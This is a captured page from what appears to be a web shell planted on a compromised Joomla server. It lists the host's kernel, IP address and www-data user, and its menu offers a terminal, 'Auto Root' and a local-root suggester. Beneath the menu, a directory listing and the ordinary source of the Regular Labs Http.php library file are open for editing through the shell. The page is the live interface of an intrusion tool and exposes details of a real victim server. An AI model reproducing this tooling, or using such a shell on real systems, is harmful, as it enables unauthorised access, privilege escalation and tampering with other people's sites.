Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
regularlabs /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Api
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
Condition
[ DIR ]
drwxr-xr-x
2026-06-10 18:30
.DS_Store
6
KB
-rw-r--r--
2026-06-10 18:30
ActionLogPlugin.php
6.23
KB
-rw-r--r--
2026-06-10 18:30
Alias.php
3.36
KB
-rw-r--r--
2026-06-10 18:30
ArrayHelper.php
11.17
KB
-rw-r--r--
2026-06-10 18:30
Article.php
11.14
KB
-rw-r--r--
2026-06-10 18:30
Cache.php
2.33
KB
-rw-r--r--
2026-06-10 18:30
CacheNew.php
4.53
KB
-rw-r--r--
2026-06-10 18:30
Condition.php
12.5
KB
-rw-r--r--
2026-06-10 18:30
ConditionContent.php
12.38
KB
-rw-r--r--
2026-06-10 18:30
Conditions.php
23.12
KB
-rw-r--r--
2026-06-10 18:30
DB.php
5.5
KB
-rw-r--r--
2026-06-10 18:30
Database.php
458
B
-rw-r--r--
2026-06-10 18:30
Date.php
4.85
KB
-rw-r--r--
2026-06-10 18:30
Document.php
16.94
KB
-rw-r--r--
2026-06-10 18:30
EditorButton.php
507
B
-rw-r--r--
2026-06-10 18:30
EditorButtonHelper.php
2.56
KB
-rw-r--r--
2026-06-10 18:30
EditorButtonPlugin.php
4.38
KB
-rw-r--r--
2026-06-10 18:30
EditorButtonPopup.php
2.33
KB
-rw-r--r--
2026-06-10 18:30
Extension.php
16.83
KB
-rw-r--r--
2026-06-10 18:30
Field.php
9.6
KB
-rw-r--r--
2026-06-10 18:30
FieldGroup.php
3.52
KB
-rw-r--r--
2026-06-10 18:30
File.php
15.34
KB
-rw-r--r--
2026-06-10 18:30
Form.php
20.14
KB
-rw-r--r--
2026-06-10 18:30
Html.php
23.84
KB
-rw-r--r--
2026-06-10 18:30
HtmlTag.php
5.14
KB
-rw-r--r--
2026-06-10 18:30
Http.php
4.5
KB
-rw-r--r--
2026-06-10 18:30
Image.php
11.21
KB
-rw-r--r--
2026-06-10 18:30
Language.php
1.09
KB
-rw-r--r--
2026-06-10 18:30
License.php
2.01
KB
-rw-r--r--
2026-06-10 18:30
Log.php
3.6
KB
-rw-r--r--
2026-06-10 18:30
MobileDetect.php
83.24
KB
-rw-r--r--
2026-06-10 18:30
ObjectHelper.php
1.52
KB
-rw-r--r--
2026-06-10 18:30
Parameters.php
2.73
KB
-rw-r--r--
2026-06-10 18:30
ParametersNew.php
9.17
KB
-rw-r--r--
2026-06-10 18:30
Plugin.php
775
B
-rw-r--r--
2026-06-10 18:30
PluginTag.php
21.9
KB
-rw-r--r--
2026-06-10 18:30
Protect.php
33.6
KB
-rw-r--r--
2026-06-10 18:30
RegEx.php
6.36
KB
-rw-r--r--
2026-06-10 18:30
ShowOn.php
1.39
KB
-rw-r--r--
2026-06-10 18:30
StringHelper.php
14.49
KB
-rw-r--r--
2026-06-10 18:30
SystemPlugin.php
14.39
KB
-rw-r--r--
2026-06-10 18:30
Title.php
2.85
KB
-rw-r--r--
2026-06-10 18:30
Uri.php
5.79
KB
-rw-r--r--
2026-06-10 18:30
Version.php
10.4
KB
-rw-r--r--
2026-06-10 18:30
Xml.php
1.76
KB
-rw-r--r--
2026-06-10 18:30
Save
Rename
<?php /** * @package Regular Labs Library * @version 23.9.3039 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Library; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Http\HttpFactory as JHttpFactory; use Joomla\Registry\Registry; use RegularLabs\Library\CacheNew as Cache; use RuntimeException; /** * Class Http * * @package RegularLabs\Library */ class Http { /** * Get the contents of the given internal url * * @param string $url * @param int $timeout * * @return string */ public static function get($url, $timeout = 20) { if (Uri::isExternal($url)) { return ''; } return @file_get_contents($url, false, stream_context_create(['http' => ['timeout' => $timeout]])) || self::getFromUrl($url, $timeout); } /** * Get the contents of the given external url from the Regular Labs server * * @param string $url * @param int $timeout * * @return string */ public static function getFromServer($url, $timeout = 20) { $cache = new Cache([__METHOD__, $url]); $cache_ttl = JFactory::getApplication()->input->getInt('cache', 0); if ($cache_ttl) { $cache->useFiles($cache_ttl > 1 ? $cache_ttl : null); } if ($cache->exists()) { return $cache->get(); } // only allow url calls from administrator if ( ! Document::isClient('administrator')) { die; } // only allow when logged in $user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser(); if ( ! $user->id) { die; } if (substr($url, 0, 4) != 'http') { $url = 'http://' . $url; } // only allow url calls to regularlabs.com domain if ( ! (RegEx::match('^https?://([^/]+\.)?regularlabs\.com/', $url))) { die; } // only allow url calls to certain files if ( strpos($url, 'download.regularlabs.com/extensions.php') === false && strpos($url, 'download.regularlabs.com/extensions.json') === false && strpos($url, 'download.regularlabs.com/extensions.xml') === false ) { die; } $content = self::getContents($url, $timeout); if (empty($content)) { return ''; } $format = (strpos($url, '.json') !== false || strpos($url, 'format=json') !== false) ? 'application/json' : 'text/xml'; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-type: " . $format); return $cache->set($content); } /** * Get the contents of the given url * * @param string $url * @param int $timeout * * @return string */ public static function getFromUrl($url, $timeout = 20) { $cache = new Cache([__METHOD__, $url]); $cache_ttl = JFactory::getApplication()->input->getInt('cache', 0); if ($cache_ttl) { $cache->useFiles($cache_ttl > 1 ? $cache_ttl : null); } if ($cache->exists()) { return $cache->get(); } $content = self::getContents($url, $timeout); if (empty($content)) { return ''; } return $cache->set($content); } /** * Load the contents of the given url * * @param string $url * @param int $timeout * * @return string */ private static function getContents($url, $timeout = 20) { try { // Adding a valid user agent string, otherwise some feed-servers returning an error $options = new Registry([ 'userAgent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0', ]); $content = JHttpFactory::getHttp($options)->get($url, null, $timeout)->body; } catch (RuntimeException $e) { return ''; } return $content; } }